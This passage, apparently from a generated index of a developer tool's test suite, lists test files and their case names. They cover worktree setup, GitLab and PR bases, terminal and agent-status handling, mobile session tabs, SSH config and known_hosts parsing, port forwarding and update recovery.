warns that a missing-repo removal only forgot the workspace; restores runtime watchers when CLI worktree deletion fails after teardown; does not re-spend the drain budget on a removal after a wedged install was abandoned; routes runtime worktree removal through the selected WSL project runtime; force-deletes a branch that was preserved by runtime worktree removal. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts: records GitLab pasted-project recents only after successful runtime lookup; threads explicit origin preference through runtime WSL PR base resolution; resolves local GitLab fork MR bases from the target project MR head ref; captures the fork MR head from a dedicated ref, not the shared FETCH_HEAD; keeps the durable MR head when the head fetch fails but the local ref resolves; routes runtime GitLab fork MR base git calls through the selected WSL project runtime. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts: passes SSH connection ids through GitLab task operations; routes runtime GitLab issue, MR, work-item, and todo actions through the selected WSL project runtime; routes runtime GitLab MR details, review-management, job, and pasted URL actions through the selected WSL project runtime; normalizes runtime GitLab issue list arguments like the desktop IPC path. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts: does not warn when setup is explicitly skipped for CLI-created worktrees; puts the agent a create starts in the first default tab, as the window does; keeps the 8s main-runtime startup readiness budget for agents without an override; gives OpenCode the 20s main-runtime startup readiness budget; launches explicit startup agents with prompts for CLI-created worktrees. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts: returns a setup launch payload for CLI-created worktrees when hooks are explicitly enabled; does not hand the window a setup main never tried to start; passes the selected Windows setup shell into runtime runner generation; follows normal setup policy for CLI-created worktrees without activating them; uses returned WSL setup shell metadata when runtime spawns setup; uses the shell-aware setup runner for windowless creates without a startup command; reports the in-process setup hook as running when nothing can launch the runner. src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts: coalesces two clients sleeping the same host worktree; stops exactly the expected live PTYs for a worktree; explains a refused workspace close instead of throwing the raw refusal enum. src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts: marks the desktop-active worktree as isActive; includes SSH-backed worktrees in the mobile worktree summary; caches repeated malformed path misses before normalizing them again. src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts: keeps title-only foreground work ahead of monitoring in another pane; keeps a local hook row while a connected PTY still backs its pane; keeps an OSC row via its connected PTY after the pane binding is cleared. src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts: resolves files through a source-visible linked-checkout worktree; marks saved session tabs with live PTYs as host sidebar activity; attributes live legacy PTYs from saved layout bindings when their panes are hidden; marks saved browser tabs as host sidebar activity like desktop; falls back to the path-keyed GitHub cache entry; includes folder workspaces in compact worktree summaries for mobile; attaches inline agent rows from the latest OSC 9999 status; projects monitoring over a title-derived working status. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts: pushes to an idle pane when the only live waiter filters out the message type; resolves a registered waiter without PTY-injecting when the leaf is already idle; keeps already-idle status after tui-idle wait for immediate message delivery; resolves message waiters when notifyMessageArrived is called; does not resolve type-filtered message waiters for unrelated message types; removes message waiter abort listeners after message arrival; resolves message waiters on timeout when no message arrives. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts: delivers pending mail via notifyMessageArrived when the recipient is already idle; does not keep retrying when every pending row was already pointed; repoints pending rows restored with a live-idle coordinator. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts: rolls back a half-created terminal whose surface never publishes. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts: rejects startup prompts for agents that require post-ready stdin; uses portable Unix quoting for mobile agent launch commands in WSL project runtimes; keeps PowerShell quoting for mobile agent launch commands in Windows host runtimes; uses cmd.exe quoting for mobile agent launch commands in local Windows host runtimes; publishes headless mobile session agent identity with synthesized PTY status; rejects disabled mobile session agent launches before spawning; validates mobile terminal insertion anchors before resolving agent launch commands. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts: coalesces a reconnect close burst onto one authoritative PTY inventory; keeps an explicit user close destructive while the PTY is live; builds mobile session agent launch commands on the runtime host; injects mobile quick-command prompts into the host-built agent startup command. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts: closes persisted headless terminal parents before any prior list call; tears down a serve-owned headless tab on close while a renderer is attached so it cannot resurrect; defers a renderer-published pending tab to the renderer instead of tearing it down; returns a delegated close outcome with no selection tombstone when the renderer owns the outcome; tears down a runtime pending shell the renderer never adopted on close. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts: materializes a plain shell when the pending tab has no launch agent; hydrates legacy persisted terminal tabs without layout entries; reads and indexes the full agent-status snapshot once per mobile projection; kills persisted SSH PTYs when closing hydrated headless tabs before pane metadata is restored; materializes hydrated pending headless terminals with the persisted session identity. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts: hydrates a persisted SSH-owned pane before an attached renderer publishes its graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts: publishes the desktop's tab name over the live agent title, and the live title without one; uses fresh neutral PTY titles over stale mobile snapshot and OSC titles; operates PTY-backed mobile session terminals without a renderer graph; reuses pane close for live PTYs that do not own a renderer tab; lists PTY-backed mobile session terminals without a renderer graph; shows and resolves active PTY-backed mobile session terminals without a renderer graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts: creates mobile session terminals for folder workspaces in a headless runtime server; spawns fresh headless SSH mobile session terminals instead of reattaching synthetic local ids; hydrates headless mobile session terminals from the host workspace session; keeps live headless mobile session terminals when a desktop renderer publishes without them; publishes laptop-created remote runtime split terminals to phone session tabs. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts: does not report headless wake degradation without sleeping records; does not wake slept agents for non-mobile session-only activation; does not rewrite unread metadata when a mobile activation finds the worktree already read; returns unread:false from worktree.ps after a mobile activation clears the flag; materializes pending mobile session terminals without focusing desktop clients; closes browser mobile session tabs when addressed by browser workspace id. src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts: resolves mobile terminal surfaces by exact split leaf; closes the matching mobile terminal UUID leaf without closing the whole tab; closes the whole mobile terminal tab when addressed by parent tab id; activates the active split leaf when addressed by parent tab id; clears unread metadata on mobile worktree activation without focusing desktop clients; wakes slept agents on the host renderer when a phone activates a worktree. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts: publishes the hook provider session on a headless mobile tab so native chat can address the transcript; recovers the agent type from the hook row when the pane was launched without an agent hint; reads one agent-status snapshot per projection, not one per terminal tab; waits for unknown-launch foreground owner before publishing Pi-compatible mobile status; keeps Pi-compatible mobile session status as Pi for an unknown-launch foreground pi PTY; keeps renderer-vetted mobile agent status for custom-titled terminals. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts: publishes terminal surface agent status for paired web clients; preserves authoritative OMP identity for Pi-compatible remote terminal snapshots; normalizes a remote OMP title without republishing omitted launch identity; skips the foreground-process probe when the PTY launch agent is already known; probes the foreground process only on a status transition for unknown launch agents; passes the client signal and the slept-worktree refusal to the spawn. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts: does not use stale runtime-created PTY status when a neutral PTY title exists; recognizes runtime-created Codex PTY handles from the ready prompt; recognizes runtime-created Antigravity PTY handles from the ready prompt; recognizes live leaf Antigravity terminals from the ready prompt; recognizes a later Antigravity header with a prompt but no model line; keeps mobile terminal surfaces visible while their leaf handle is pending. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts: lets Claude agents management titles clear stale runtime-created title status; does not recognize live Claude agents panes from a Claude foreground process; does not let stale tab-level agent titles override current neutral pane titles; lists live terminals with fresh pane titles over stale tab titles; lets adopted neutral pane titles use non-shell foreground fallback; lets adopted neutral pane titles retry wrapper foregrounds until recognized; authorizes settled CLI prompts only after positive %s foreground identity; does not recognize arbitrary foreground TUIs as running agents; lets live neutral pane titles retry wrapper foregrounds until recognized; lets current Claude agents PTY titles override stale runtime-created OSC titles; does not let stale Claude agents OSC titles suppress current PTY title activity. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts: keeps preallocated terminal handles valid across renderer reloads; preserves runtime-created PTY process identity after graph unavailable; keeps prompt bindings fenced across runtime restarts without provider incarnation; recognizes runtime-created PTY handles with agent launch titles; does not treat a bare Cursor Agent native title as a running agent session; uses stale runtime-created PTY status when there is no title or foreground evidence. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts: keeps orphaned list and show writability aligned with the send gate. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts: cancels a coalesced SSH worker recovery retry when its provider disconnects. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts: retries renderer reveal before clearing an adopted legacy worker sleeping record. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts: recovers exported ORCA_TERMINAL_HANDLE from discovered live PTY sessions. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts: applies ANSI erase-from-start line controls in retained previews; applies ANSI stripping for private or intermediate CSI line controls; applies ANSI stripping for unsupported erase-line modes; reveals an agent terminal under the pane the caller reserved; keeps a fresh %s pane host-owned when a desktop window is available; keeps desktop publication %s separate from the reserved host spawn; mints its own pane when the reserved leaf is malformed, and reports the one it used; starts an agent terminal with the model the caller picked; starts an agent terminal without a model flag when no pick was made; attributes a startup-agent launch named %s as %s; attributes a fresh agent session the host builds as unknown; leaves a bare agent command the user typed out of launch attribution. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts: trims oversized terminal output bursts without per-line array shifts; builds terminal previews without mapping the full retained tail; keeps recent PTY replay output capped without needing previous data for large chunks; applies terminal redraw controls before retaining previews; applies ANSI terminal redraw controls before retaining previews; retains multi-line ANSI footer redraws instead of appending old frames; keeps the cursor column when erasing full lines in multi-line redraws; applies ANSI split redraw controls without leaking raw params. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts: returns renderer visible screen lines through terminal.read RPC JSON result; separates composer drafts from provider-owned terminal screens. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts: reports an in-flight PTY focus as not navigated when its notifier disappears; reports graph-leaf focus as not navigated without a host notifier; grounds the provider mode tracker before a later chunk, in the emulator order; grounds an in-flight provider snapshot capture so it cannot publish the pre-reset screen; waits for terminal exit and resolves with the exit status; keeps terminal read payloads bounded while retained output remains pageable; trims terminal read preview character budget without per-line array shifts. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts: submits a silent Claude composer once after the bounded render fallback; chunks large terminal.send text before provider writes; yields chunked terminal input through immediates between writes; yields while validating accepted large terminal.send text before provider writes; reveals a background terminal session when focusing its handle; replays captured launch config when focusing a background agent session; reveals background terminal sessions with the freshest PTY title; renames background terminal handles without requiring a visible tab; keeps a background terminal handle stable while reveal adoption is racing. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts: resolves tui-idle when a stale Codex prompt is followed by Antigravity readiness; returns an agent-neutral blocked wait result for update prompts; returns an agent-neutral blocked wait result for workspace trust prompts; returns an agent-neutral blocked wait result for cwd selection prompts; returns a blocked wait result for Codex model migration prompts; returns a blocked wait result for Codex startup hook review prompts; returns an agent-neutral blocked wait result for generic interactive prompts; splits text and enter writes for background terminal handles; types the lead line for %s: %s; submits through the agent-specific PTY timing policy for %s. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts: waits for exit on background terminal handles; keeps retained PTY transcript memory when controller refresh fails; resolves tui-idle from an Antigravity ready prompt preview; resolves Antigravity ready prompts with newline-heavy pasted tails without splitting; resolves live-leaf tui-idle from an Antigravity ready prompt preview. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts: spawns the available Qoder command for a captured same-session resume: %s; does not use the local Windows shell setting for remote Windows bare agent creates; matches canonical bare agent commands when a command override is configured; keeps non-bare agent command terminal creates unchanged; keeps disabled bare agent command terminal creates unchanged; injects runtime hook receiver env into terminal sessions; creates background terminal sessions for a $label; creates background terminal sessions for a $label; enables Claude Agent Teams only for direct Claude launches when configured in-process; reveals Claude Agent Teams launches with the rewritten launch config; preserves Claude Agent Teams for sequenced Claude launches. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts: creates visible terminal sessions without asking the renderer to focus a tab; asks the pty controller for the requested shell instead of a startup command; knows the agent a flagged launch command names before any process read; retires a flagged command pane identity when the command exits; retires only receipted restored PTY authority on command completion and exit; forgets synthetic handles when disconnected PTY records are pruned. src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts: returns OSC titles from headless main terminal snapshots; adopts renderer-seeded titles into headless main terminal snapshots; returns cwd metadata from seeded headless main terminal snapshots; adopts OSC7 host metadata from seeded headless terminal scrollback; falls back to the renderer snapshot for hidden-output recovery without headless state; keeps an empty headless snapshot authoritative for hidden-output recovery; advances the absolute output sequence across a daemon stream gap; emits explicit OSC 9999 agent status from runtime PTY data. src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts: falls back to the provider snapshot for a restored PTY with no mounted renderer; falls back to the available mirror when authoritative provider history is unavailable; keeps an empty renderer snapshot when the provider has no retained content; keeps restored provider history authoritative after later live output; uses provider alternate-screen state while a partial model is unsafe; prefers the tracked title over the headless emulator lastTitle; keeps the cursor-agent literal in record-fallback snapshots only without a tracker title; touches mobile snapshots once for decorative spinner ticks, again on idle. src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts: creates a same-repo PR branch override from a resolved head SHA and matching push target; skips broad remote fetch for an existing full-SHA PR base; creates a selected Bitbucket PR branch override from a matching remote branch; suffixes an existing PR when a matching push target lacks selected PR metadata; suffixes a matching push target branch when selected PR metadata has no PR number; suffixes a matching push target branch when the existing PR is different; suffixes a selected PR remote conflict when the PR lookup fails; checks out an unused runtime PR branch only when it is at the resolved head SHA; suffixes only the runtime worktree path when an exact PR branch checkout path exists. src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts: returns runtime local base update suggestions from addWorktree; creates a runtime local worktree from a usable persisted local branch base; does not create a runtime local worktree when the refresh fails and no local base ref exists; creates a branchNameOverride worktree from the selected matching remote base ref. src/main/persistence/worktree-sort-order-write.test.ts: re-ranks every writable row when a blocked row sits in the requested order. src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts: continues skill management after startup recovery fails. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts: uses bounded ownership lookup for direct arrivals while the agent cannot take input; wakes a bound Run waiter when same-Run direct mail arrives; keeps an unowned detached-recipient message in its direct mailbox; uses primary-key lookups for bounded routing updates. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts: remove only literal registration import/call pairs import './orchestration-mailbox-pointer-cli-command.spec'; no additional authored credit. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts: renders the %s CLI command in a mailbox pointer. src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts: sizes a slow high-latency link near twice its bandwidth-delay product; never paces a LAN, even when its client parses slowly; never paces a fast link; returns to legacy windows when the path RTT jumps. src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts: steps down the row ladder when history is over the byte budget; tries the larger first row count, then the usual ladder within the same byte budget. src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts: returns unknown when route inspection fails or emits malformed data; does not inspect routes outside Windows. src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts: is refused to a paired %s client; reports a failed widening instead of advertising an unreachable address. src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts: reports exited only when the owning runtime completes the exit waiter; reports unverifiable when the runtime cannot observe the exit waiter; reports unverifiable when a disconnected PTY resolves with unknown liveness. src/main/runtime/session-graph/headless-runtime-graph.spec.ts: lets a session tab inventory settle on a host no renderer publishes for. src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts: remove only literal registration import/call pairs import { registerHeadlessRuntimeGraphTests } from './headless-runtime-graph.spec', registerHeadlessRuntimeGraphTests(); no additional authored credit. src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts: bumps the stored snapshot version only when the title changes. src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts: keeps the healthy aggregate verification and delayed physical exit behavior; uses a stamped exit for the incarnation that was actually being closed. src/main/runtime/terminal/identity/terminal-identity-probe.test.ts: answers live for a structured worker without touching the PTY graph; answers live for a PTY handle the runtime still holds; runs the full leaf check for a handle with no live PTY; answers not-live for a stale handle; propagates \"could not look\" rather than reporting it as a dead handle. src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts: names the tab in main’s layout through terminal.rename; takes a window-style layout.apply close as already stopped, so the terminal runs on. src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts: retains no lifecycle generation after a spawn/exit cycle. src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts: reads a freshly spawned terminal as used once a user opens its tab, not on a probe; keeps the open mark on the process a user open starts. src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts: from a desktop window that mounts both panes; from a server with no window. src/main/runtime/terminal/surface/workspace-layout-projection.test.ts: carries views for a partition that holds none yet. src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts: releases a signalled exit-waiter when the signal aborts. src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts: selects a local hook status for a local pane. src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts: keeps the footer and the bare caret on screen mid-turn; %s: the screen alone reads ready during %s. src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts: uses per-launch arguments and preserves launch telemetry; attributes a startup agent whose caller named no surface as unknown; launches %s bare for an absent or blank prompt; attributes a %s draft launch named %s as %s; merges an automation's extras over the host defaults; threads worktree-create extras into the startup build; returns an enabled requested agent without detecting; returns the default when nothing was requested; detects instead of using the default when the requested agent is disabled; starts no agent when the default is blank; detects an enabled agent on this host when nothing usable was named; starts no agent when detection finds none. src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts: pastes and submits through composer readiness, never typing raw input; types the follow-up on WSL or SSH-to-Windows once the agent is in front, as before; cleans up the deadline when the composer was already captured; a draft that is not submitted is pasted on the box cursor, as before; takes the box after the grace when the row never comes, whatever repaints; takes the box at the deadline when the grace would outlast the budget; lets a dialog on screen veto a grace; refuses the deadline inside a pending grace while a shell is in front; takes the box at the deadline inside a pending grace with the agent in front; takes the box at the deadline after a refused grace once the agent is in front. src/main/skills/skill-install-transaction.test.ts: installs, previews unchanged bytes, and updates a clean receipt-owned skill; preserves the old version after a %s filesystem failure. src/main/speech/model-manager-download-resume.test.ts: requests the remaining bytes when a clean range response ends before the file total; bounds a server that advances by pathologically tiny segments forever. src/main/ssh/config/ssh-config-parser.test.ts: parses a basic host block; parses multiple host blocks; skips wildcard-only Host entries; skips Host entries with only pattern characters; parses IdentityFile with ~ expansion; parses Windows-style IdentityFile with ~ expansion; parses quoted scalar values like OpenSSH; parses equals-form scalar directives; parses IdentityAgent with ~ expansion; parses IdentitiesOnly; parses GSSAPIAuthentication; keeps the first GSSAPIAuthentication value like OpenSSH; parses ProxyCommand, ProxyUseFdpass, and ProxyJump; ignores comments and blank lines; handles case-insensitive keywords; stops current block on Match directive; returns empty array for empty input; creates one parsed host per concrete alias on a multi-pattern Host line; applies identity agent settings to every concrete alias on a multi-pattern Host line; defaults port to 22 for invalid port values; converts hosts to SshTarget objects; uses host alias as hostname when HostName is missing; skips hosts that are already imported; defaults username to empty string when not specified; carries through identityFile, identityAgent, identitiesOnly, proxyCommand, and jumpHost; carries through gssapiAuthentication; imports duplicate aliases only once and keeps the first concrete host; maps hosts for the picker and flags aliases already in Orca; de-dupes aliases and defaults missing fields; parses hostname, user, port from ssh -G output; collects multiple identity files; parses forwardagent yes; defaults port to 22 when missing; returns empty hostname when missing; returns undefined user when missing; handles empty output; skips lines without spaces; parses proxycommand and filters \"none\"; parses proxyusefdpass yes; parses proxyjump and filters \"none\"; handles ~ expansion in identity file paths; handles Windows-style ~ expansion in identity file paths; parses identityagent with ~ expansion; preserves identityagent none so auth can disable agent fallback; parses identitiesonly yes; parses gssapiauthentication; parses controlmaster options and filters controlpath none. src/main/ssh/config/ssh-known-hosts-source.test.ts: splits the space-separated list ssh -G prints on one line; expands ~ in a reported path; keeps a double-quoted path containing spaces whole; falls back to the default files when ssh -G reported nothing; drops an explicit none without falling back to the defaults; splits both known_hosts lists on one line each; reads StrictHostKeyChecking, including accept-new; reads HostKeyAlias and prefers it for the lookup; reads the non-default port; reports that the lookup came from an alias, so the port is not appended; reports no alias when the dialed host is used; unions the entries of every file; skips a path that is a directory; returns nothing when no file can be read; reports nothing unreadable when every file parses; does not count an empty file as unreadable; prefers HostKeyAlias over the resolved hostname; uses the dialed host, because a resolved hostname can just echo the label; still prefers an explicit HostKeyAlias over the dialed host; falls back to the dialed host when nothing was resolved; is rejoined when the split fragments resolve to nothing; leaves a single unresolvable path alone rather than inventing one; expands the __PROGRAMDATA__ token rather than passing it through as a path; does not rewrite a path that merely BEGINS with the token characters; keeps a drive-letter path with mixed separators intact; splits a spaced Windows home into the fragments the rejoin has to put back. src/main/ssh/config/ssh-known-hosts.test.ts: reads the algorithm from the blob rather than trusting the line; rejects %s; refuses a malformed blob: %s; uses the bare host on the default port; tries the bracketed form first and falls back to bare off-port; matches an exact line; matches case-insensitively; reports a changed key of the same type; reports unknown for %s; matches any host in a comma list; matches the bracketed form on its port; does not apply a bracketed entry to the default port; falls back to a bare line when off-port; never reports a change from the fallback pass; matches a bare literal on the default port; matches a bracketed literal on its port; reports a change for a literal; handles %s; still reports a change for a different key on a revoked host; skips a line carrying an unrecognised marker; does not report a change when only another key type is on file; matches within the same type; accepts CRLF terminators; skips blanks, comments and surrounding whitespace; accepts a hit regardless of which file holds it (%s); never brackets the alias, whatever the port; still brackets an ordinary host on a non-default port; matches a bare alias entry on a non-default port; still accepts the unmodified key field; accepts a hashed entry whose salt is a full SHA1 digest; still accepts the unmutated ssh-keygen -H vector; falls back to the bare host line on a non-default port, as ssh did; refuses a key type it has not seen for a host it knows, as ssh did. src/main/ssh/connection/ssh-connect-config.test.ts: returns undefined when no default keys exist; returns the first existing key file; probes regular and FIDO2 keys in stable default order; keeps a regular default ahead of a malformed FIDO2 default; uses target host/port/username; falls back to resolved config when target fields are empty; keeps imported endpoint fields as the fallback when ssh -G is unavailable; sets readyTimeout to CONNECT_TIMEOUT_MS; sets keepaliveInterval to 15s; enables keyboard-interactive auth so MFA challenges can be answered; uses agent auth when no explicit key and SSH_AUTH_SOCK is set; enables agent forwarding when OpenSSH config requests it and an agent is available; does not enable agent forwarding without a usable agent; resolves IdentityAgent SSH_AUTH_SOCK from the environment; uses the Windows OpenSSH agent pipe when no environment socket is available on Windows; wraps agent auth with IdentityFile filtering when IdentitiesOnly is enabled; applies a manual target IdentitiesOnly setting when ssh -G reports it off; includes unencrypted target.identityFile auth when an agent is available; defers encrypted target.identityFile auth when an agent is available; uses keyFile auth when target.identityFile is set and no agent is available; includes unencrypted resolved identityFile auth when an agent is available; defers a default-path resolved identityFile to the no-agent retry; offers the keyboard-interactive challenge when the agent defers no key; provides fallback key when no agent is available; can force private key inclusion for the post-agent fallback path; falls back to resolved proxyCommand; returns structured jump-host config for target.jumpHost; returns structured jump-host config for resolved proxyJump; returns undefined when no proxy is configured. src/main/ssh/connection/ssh-connection-auth-fallback.test.ts: resolves OpenSSH config using configHost when present; tries ssh-agent before reading an explicit private key; falls back to direct private key auth when agent auth fails; falls back to direct private key auth after too many agent authentication failures; answers bounded keyboard-interactive challenges such as Duo 2FA. src/main/ssh/connection/ssh-connection-store.test.ts: lists picker suppression aliases without consulting re-adoption tombstones; getTarget delegates to store; addTarget generates an id and persists; saves the CLI control switch as given, with no consent stamp; addTarget stamps source as manual by default; addTarget preserves an explicitly provided source; inserts a new config host stamped as ssh-config; asks the parser for all hosts — reconciliation happens in the store; updates an existing config-sourced target when the port changed; refreshes gssapiAuthentication on sync; never overwrites a manual target that owns the alias; does not rewrite an unchanged config-sourced target; returns empty array when nothing changed; tombstones a deleted config-sourced host so re-import skips it; suppresses a deleted manual target from config discovery; re-adding a deleted host reclaims its alias so sync stops suppressing it; editing a target reclaims its alias from the deleted set; records a tombstone when removing any user-facing target; re-adopts orphaned repos when the same host is re-added. src/main/ssh/connection/ssh-connection.test.ts: transitions to connected on successful connect; captures the negotiated SSH server key fingerprint; allows concurrent exec commands for ssh2 transport; removes startup listeners after ssh2 connect succeeds; scopes lifecycle events and pending handshake timers to one mock client; enables TCP_NODELAY on the new ssh2 client after a reconnect cycle; transitions through connecting → connected states; reports error state on connection failure; disconnect cleans up and sets state to disconnected; getTarget returns a copy of the target; getState returns a copy of the state; throws when connecting a disposed connection. src/main/ssh/orcad-migration-stuck-host-profiles.test.ts: never leaves a running terminal behind; is offered only when leaving saved state behind would clear the refusal. src/main/ssh/orcad-runtime-maintenance.test.ts: keeps a connect from retrying a build an explicit Update also failed; offers Force when Update was refused by policy; forwards anew after an activation, since the new slot may bind another port; passes a refusal through and leaves the server linked; forwards anew once a serving slot is restored, which may have bound another port. src/main/ssh/port-forwarding/ssh-port-forward.test.ts: reports the port the OS bound when an ssh2 forward asks for port 0; adds an ssh2 port forward and returns entry; adds a system SSH port forward when no ssh2 client is available; reports the port a system SSH forward resolved when asked for port 0; passes resolved OpenSSH config to system SSH port forwards; disposes a system SSH tunnel when removing the forward; lists forwards filtered by connectionId; removes a forward by id; awaits forward close when removing a forward for user actions; returns null when removing nonexistent forward; removes all forwards for a connection; dispose removes all forwards; stores label in the entry; preserves the existing id when updating a forward succeeds. src/main/ssh/ssh-channel-multiplexer.test.ts: sends a JSON-RPC request and resolves on response; assigns unique request IDs; sends notifications without expecting a response; dispatches incoming notifications to handler; sends one keepalive frame per cadence tick; drives keepalive sends AND dead-link detection from a single interval; resolves false immediately on a disposed mux; throws on request after dispose; reports isDisposed correctly; clears registered handlers on dispose; does not retain handlers registered after dispose. src/main/ssh/system-transport/system-ssh-forward-process.test.ts: spawns exactly the argv the orphan matcher is given, LogLevel=INFO included; runs port forwards unmultiplexed even when ssh_config disables muxing; preserves manual target port and identity options in the forwarded ssh command; does not spawn ssh when the requested local forward port is already in use; spawns ssh after the requested local forward port preflight succeeds; resolves startup after the grace period when ssh keeps running; sends SIGTERM then SIGKILL when the process does not exit; does not resolve stop until the process exits. src/main/ssh/system-transport/system-ssh-loopback-route.test.ts: dials the held forward ahead of the alias so OpenSSH keeps these over ssh_config; drops a manual target's own port and proxies, which would fight the route; never routes a forward, whose argv must stay stable for orphan recovery; %s → %s; opens the forward over the real proxy, then proves a login over the route; lands the forward on the sshd and known_hosts name the direct route resolved; holds the forward with server-alive probes; never lets the background forward or probe ask for credentials; starts no forward when admission refuses the route; stops the forward when sshd refuses logins over it; stops the whole forward process tree on Windows, once; reports a forward that already exited before anyone listened for it. src/main/startup/browser-process-user-agent-ordering.test.ts: explains admission refusal before a desktop launch exits; explains an orcad holding the profile instead of exiting silently; does not acquire profile admission for a duplicate launch; executes after the dev app name and before later preflight work; exits and releases admission after pending profile move recovery fails; keeps Linux background startup failures console-only and immediate; keeps Linux serve startup failures console-only and immediate. src/main/startup/quit/quit-path-durable-write-blocking.test.ts: store.flushAsync() issues no synchronous fs syscalls; store.flushAsync() also moves the active-view and github-cache sidecars off the thread; stats.flushAsync() issues no synchronous fs syscalls; Grok session cleanup issues no synchronous fs syscalls; stats.flushAsync() closes out live agents before it returns, not when its write lands; a stalled mount leaves the event loop live instead of parking it; store.flushAsync() is one idempotent final barrier; store.flushAsync() resolves instead of throwing when the profile mount rejects writes. src/main/stats/agent-session-transition-recorder.test.ts: counts a hook-only agent that never writes an agent-shaped terminal title; never opens a session from a replayed or disk-restored working status; still closes a live session when the terminating status arrives as a replay; counts one session per turn across repeated working/done cycles; closes an open session when its pane is torn down; bounds the mirror and closes what it evicts; stops the session when the main agent settles and only a watch loop holds the row working; keeps the session open while a subagent outlives the main agent, and closes it when the child settles; dates the stop by the evidence when a shell outlives the last subagent; opens a new session dated by the observation when the main agent resumes after monitoring; never dates a reopen before the close a fact-less OSC repaint caused; dates the first live row after a restored one by the evidence, not the restored clock; treats an unchanged answer as a snapshot, never a transition; opens only on a live working edge; closes only a session it opened. src/main/text-generation/commit-message-text-generation-model-discovery.test.ts: returns static catalog models without spawning for static agents; discovers dynamic models through the agent CLI; discovers dynamic models through the configured agent command override; falls back to static models when dynamic discovery returns no parseable models; falls back to the first discovered non-Pi model when its static default is unavailable. src/main/text-generation/pull-request-context.test.ts: does not fetch unrelated fork remotes before generating PR context; bounds exact remote-ref probe concurrency for a large remote list; reports no branch change because PR context preparation is read-only; keeps a remote-qualified base when the selected base includes the remote. src/main/text-generation/source-control-local-process.test.ts: asks the supervisor to stop and leaves its group to it; signals nothing once the supervisor has exited; stops an agent that ignores its stdin end through its supervisor. src/main/updater/linux-package/linux-package-update-recovery.test.ts: retains the downloaded package with the digest from the event metadata; requires a string downloaded path; accepts an uppercase extension; requires a non-empty string version; matches an absolute file URL by basename; accepts duplicate entries that agree on the digest; refuses an entry with a missing or non-string digest; refuses a digest that is not base64 at all; refuses a malformed percent-encoded URL; refuses a missing or non-array file list; tolerates a non-object event; replaces the retained artifact with a newer download; keeps the retained artifact when a new download has no usable digest; keeps the retained artifact when an unrelated download event arrives; clears the retained artifact; preserves the artifact across a recheck of the same version; clears the artifact when another version takes over; preserves the artifact for an unknown or empty version; is a no-op without a retained artifact; returns the built command and package file name for a verified 